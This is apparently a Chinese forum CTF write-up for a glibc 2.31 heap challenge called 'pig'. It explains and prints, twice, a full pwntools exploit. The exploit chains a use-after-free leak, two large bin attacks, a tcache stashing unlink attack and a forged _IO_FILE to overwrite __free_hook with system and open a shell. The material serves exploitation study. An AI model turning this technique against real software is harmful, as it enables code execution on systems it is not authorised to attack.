io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password =
current_user = 0
def add(content_length, content = None):
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'message size: ', str(content_length).encode())
if content is None:
content = str(current_user) * (content_length // 0x30 * 0x10)
io.sendafter(b'message: ', content)
sleep(0.1)
def view(index):
io.sendlineafter(b'Choice: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)
def edit(index, content):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
io.sendafter(b'message: ', content)
sleep(0.1)
def delete(index):
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)
def change_role(role):
global current_user
io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', password)
current_user = role
sleep(0.1)
```
**泄露地址并部署堆**
```python
def leak_addr():
global libc_base, system, __free_hook, _IO_list_all, heap_address
# 部署tcache stashing unlink attack的堆环境
change_role(1)
for i in range(5): # make 5 chunk into tcache, mummy index 0~4
add(0xA0)
delete(i)
change_role(0)
add(0x150) # peppa index 0
for i in range(7): # fill 0x120 tcache, peppa index 1~7
add(0x150)
delete(i + 1)
delete(0) # peppa #0 into unsorted bin
gdb.attach(io)
pause()
change_role(1)
add(0xA0) # mummy index 5, split peppa #0
change_role(0)
add(0x160) # peppa index 8
for i in range(7): # fill 0x130 tcache, peppa index 9~15
add(0x160)
delete(i + 9)
delete(8)
change_role(1)
change_role(0)
gdb.attach(io)
pause()
view(8) # get libc base address
io.recv(0x10)
libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
system = libc_base + libc.symbols['system']
__free_hook = libc_base + libc.symbols['__free_hook']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
change_role(1)
add(0xB0) # mummy index 6, split peppa #8
# 获取堆地址
change_role(0)
change_role(1)
gdb.attach(io)
pause()
view(1)
io.recv(0x10)
heap_address = u64(io.recv(6) + b'\x00\x00') # get a heap address
print('libc base: ', hex(libc_base))
print('system: ', hex(system))
print('__free_hook: ', hex(__free_hook))
print('_IO_list_all: ', hex(_IO_list_all))
print('heap address: ', hex(heap_address))
```
`tcache stashing unlink`的堆环境要求有`5`个`chunk`位于同一个`tcache bins`中,同时有2个相同大小的`chunk`位于`small bins`,之后通过修改`small bins`中链首`chunk`的`bk`指针可以将任意地址链入到`tcache`。
这里先将 `peppa(0)` 放进 `unsorted bin`,之后将其切分,由于转换身份时存在 `UAF` 漏洞,可以以此泄露 `libc` 地址,不过要注意先将对应的 `tcache` 填满。切分后我们再次申请 `0x160` 大小的 `chunk` 将剩余部分放进 `small bin` 中已备 `tcache stashing unlink attack` 攻击。
同理也可以利用身份转换的 `UAF` 漏洞泄露堆地址,通过 `tcache` 的 `fd` 指针泄露堆地址,两次`view`的机会全部用完了,后面将不能使用`view`查看。我们这里`add(0xb0)`时将 `unsorted bin` 中的 `chunk` 切割成了 `0xb0` 大小。
**第一次large bin attack**
```python
def first_largebin_attack():
# first large bin attack
change_role(1)
add(0x440) # mummy index = 7
change_role(0)
add(0x430) # peppa index = 16
add(0x430) # peppa index = 17
add(0x430) # peppa index = 18
add(0x430) # peppa index = 19
change_role(1)
delete(7)
add(0x450) # mummy index = 8, switch mummy #7 into large bin
change_role(0)
delete(17)
change_role(1)
change_role(0)
change_role(1)
edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
add(0xF0) # daddy index = 0, complete first large bin attack
```
`large bin attack` 可以任意地址写堆地址,我们可以使得 `__free_hook` 周围变得可写。这种手法可以从前言的文章了解,这里不再细讲,我们把 `large_bin_chunk.bk_nextsize -> (__free_hook - 0x30)`,再次申请 `0xf0` 大小的 `chunk` 时会先把 `unsorted_bin_chunk` 放进 `large bin` ,再去 `large bin` 中找到合适的 `chunk` 进行切割。借此可以完成 `large bin attack`。
构造的结构如下:
攻击后如下:
**第二次 large bin attack**
```python
def second_largebin_attack():
# second large bin attack
change_role(1)
change_role(0)
delete(19)
change_role(1)
edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
#gdb.attach(io)
add(0xF0) # daddy index = 1, complete first large bin attack
#pause()
```
第二次 `large bin attack`,我们的目标是将未来的假 `_IO_FILE`地址写到`_IO_list_all`中。上一次 `large bin attack`中使用的`large bin`是可以重用的,我们将`bk_nextsize`指针改到其他位置还能够再一次进行攻击。第二次`large bin attack`应该写的具体的堆地址应该根据堆环境进行确定,选择的偏移至关重要。为了方便起见,我们的伪造`_IO_FILE`结构体应该在`daddy`分配索引为4的`chunk`时附加送给我们的一个`chunk`中进行构造。向`_IO_list_all`中写入的是`large bin chunk`的地址,如果想要这里同时也指向假`_IO_FILE`指针,就需要计算好`chunk`的分配数量,在`calloc(0xE8)`时能够正好让这个`chunk`被拆分,这样就实现了此处可写。可以让`bk_nextsize`的值为`_IO_list_all-0x20`。
构造如下:
攻击后:
这里`_IO_list_all`已经指向了我们伪造的 `fake_IO_FILE`。
**tcache stashing unlink attack**
```python
def tcache_stashing_unlink_attack():
# tcache stashing unlink attack
change_role(0)
edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
change_role(2)
add(0x230) # daddy index = 2
change_role(2)
add(0x430) # daddy index = 3
change_role(1)
edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
change_role(2)
add(0xA0) # daddy index = 4, trigger tcache stashing unlink attack
fake_IO_FILE_complete = p64(0) * 2# _IO_read_end (0x10), _IO_read_base (0x18)
fake_IO_FILE_complete += p64(1) # _IO_write_base (0x20)
fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
fake_IO_FILE_complete += p64(0) # _IO_write_end (0x30)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)# _IO_buf_base (0x38)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)# _IO_buf_end (0x40)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
fake_IO_FILE_complete += p64(0) # _mode (0xB0)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
fake_IO_FILE_complete += b'/bin/sh\x00'
fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
io.sendafter(b'Gift:', payload)
```
在第一次 `large bin attack`之后,我们将一个堆地址写到了`__free_hook-10`的位置,接下来就需要通过 `tcache stashing unlink attack`将这个地址用`_IO_str_overflow`函数中的`malloc`函数分配出来,然后利用 `memcpy` 将其改写为 `system` 地址,并传入 `/bin/sh\x00` 参数,通过 `exit` 函数触发即可。
构造的堆空间:
此时用 `calloc` 申请 `0xA0` 大小的堆块会跨过 `tcache` 从 `small bin` 获取, `tcache` 未满将会把 `small bin` 中的堆块先放进 `tcache` 中。
攻击后:
成功链接进入 `tcache`。
构造的 `fake_IO_FILE`:
`_IO_buf_end - _IO_buf_base = 30`,所以申请的大小刚好为 `30*2+100=0xA0`,会把 `__free_hook` 申请出来。
我们申请出来的用户空间在 `0x...30`,而 `&__free_hook = 0x...48`,我们将 `old_buf == _IO_buf_base` 指向这样的地址 `b'/bin/sh\x00'+p64(system_addr)*2`就可以把 `system` 地址写入到 `__free_hook`,并且把 `_IO_buf_base ->'/bin/sh\x00'` 作为其参数调用。
**exp**
```python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password =
current_user = 0
def add(content_length, content = None):
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'message size: ', str(content_length).encode())
if content is None:
content = str(current_user) * (content_length // 0x30 * 0x10)
io.sendafter(b'message: ', content)
sleep(0.1)
def view(index):
io.sendlineafter(b'Choice: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)
def edit(index, content):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
io.sendafter(b'message: ', content)
sleep(0.1)
def delete(index):
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)
def change_role(role):
global current_user
io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', password)
current_user = role
sleep(0.1)
def leak_addr():
global libc_base, system, __free_hook, _IO_list_all, heap_address
# 部署tcache stashing unlink attack的堆环境
change_role(1)
for i in range(5): # make 5 chunk into tcache, mummy index 0~4
add(0xA0)
delete(i)
change_role(0)
add(0x150) # peppa index 0
for i in range(7): # fill 0x120 tcache, peppa index 1~7
add(0x150)
delete(i + 1)
delete(0) # peppa #0 into unsorted bin
# gdb.attach(io)
# pause()
change_role(1)
add(0xA0) # mummy index 5, split peppa #0
change_role(0)
add(0x160) # peppa index 8
for i in range(7): # fill 0x130 tcache, peppa index 9~15
add(0x160)
delete(i + 9)
delete(8)
change_role(1)
change_role(0)
# gdb.attach(io)
# pause()
view(8) # get libc base address
io.recv(0x10)
libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
system = libc_base + libc.symbols['system']
__free_hook = libc_base + libc.symbols['__free_hook']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
change_role(1)
add(0xB0) # mummy index 6, split peppa #8
# 获取堆地址
change_role(0)
change_role(1)
# gdb.attach(io)
# pause()
view(1)
io.recv(0x10)
heap_address = u64(io.recv(6) + b'\x00\x00') # get a heap address
print('libc base: ', hex(libc_base))
print('system: ', hex(system))
print('__free_hook: ', hex(__free_hook))
print('_IO_list_all: ', hex(_IO_list_all))
print('heap address: ', hex(heap_address))
def first_largebin_attack():
# first large bin attack
change_role(1)
add(0x440) # mummy index = 7
change_role(0)
add(0x430) # peppa index = 16
add(0x430) # peppa index = 17
add(0x430) # peppa index = 18
add(0x430) # peppa index = 19
change_role(1)
delete(7)
add(0x450) # mummy index = 8, switch mummy #7 into large bin
change_role(0)
delete(17)
change_role(1)
change_role(0)
change_role(1)
edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
#gdb.attach(io)
add(0xF0) # daddy index = 0, complete first large bin attack
#pause()
def second_largebin_attack():
# second large bin attack
change_role(1)
change_role(0)
delete(19)
change_role(1)
edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
#gdb.attach(io)
add(0xF0) # daddy index = 1, complete first large bin attack
#pause()
def tcache_stashing_unlink_attack():
# tcache stashing unlink attack
change_role(0)
edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
change_role(2)
add(0x230) # daddy index = 2
change_role(2)
add(0x430) # daddy index = 3
change_role(1)
edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
change_role(2)
#gdb.attach(io)
add(0xA0) # daddy index = 4, trigger tcache stashing unlink attack
#pause()
fake_IO_FILE_complete = p64(0) * 2# _IO_read_end (0x10), _IO_read_base (0x18)
fake_IO_FILE_complete += p64(1) # _IO_write_base (0x20)
fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
fake_IO_FILE_complete += p64(0) # _IO_write_end (0x30)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)# _IO_buf_base (0x38)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)# _IO_buf_end (0x40)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
fake_IO_FILE_complete += p64(0) # _mode (0xB0)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
fake_IO_FILE_complete += b'/bin/sh\x00'
fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
#gdb.attach(io)
io.sendafter(b'Gift:', payload)
#pause()
def pwn():
leak_addr()
first_largebin_attack()
second_largebin_attack()
tcache_stashing_unlink_attack()
io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', b'')
io.interactive()
if __name__ == '__main__':
pwn()
```
学习学习!!! 学习了! 学习了。。 学习了,谢谢 先生真乃神 人也。
页:
[1]